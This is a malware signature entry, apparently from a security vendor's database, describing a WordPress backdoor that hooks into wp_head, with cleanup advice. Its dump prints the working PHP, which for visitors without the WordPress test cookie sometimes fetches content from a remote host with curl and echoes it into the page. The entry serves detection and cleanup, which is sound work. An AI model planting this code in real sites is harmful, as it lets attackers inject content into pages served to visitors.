Malware Signatures

  1. Home
  2. Malware Signatures
  3. php.backdoor.wp_addaction.001.03

php.backdoor.wp_addaction.001.03

Backdoors are server-side malicious scripts which are intended to perpetrate malicious acccess to the server. The typical example of such backdoors are various File Managers, Web Shells, tools for bypassing admin login or various one-purpose scripts allowing the attacker to upload and run another type of malicious scripts. The payload is PHP based, thus intended for server-side use and the payload is executed directly on the server, while the site is loaded. Only the payload result (such as Web Shell environment) is visible in the browser, not the malicious code itself. It's very common, that backdoors don't have any visible signs in the site code and it's impossible to detect them by accessing the infected site from outside. Server level analysis is necessary in case of infection by this type of malware.
This WordPress specific backdoor adds the malicious code as a wp_head action.

Affecting

Any vulnerable WordPress site.

Cleanup

Cleanup is done by deleting the malicious code from the file, or replacing it with a fresh version. Reviewing access logs for non-expected HTTP POSTs can point out the possible infected files.

Dump


<?php
if (!isset($_COOKIE['wordpress_test_cookie'])) {
if (mt_rand(1, 20) == 1) {
function secq22_chesk()
{
if (function_exists('curl_init')) {
$addressd = "http:// URL REMOVED /l.php";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $addressd);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
}
add_action('wp_head', 'secq22_chesk');
}
}
?>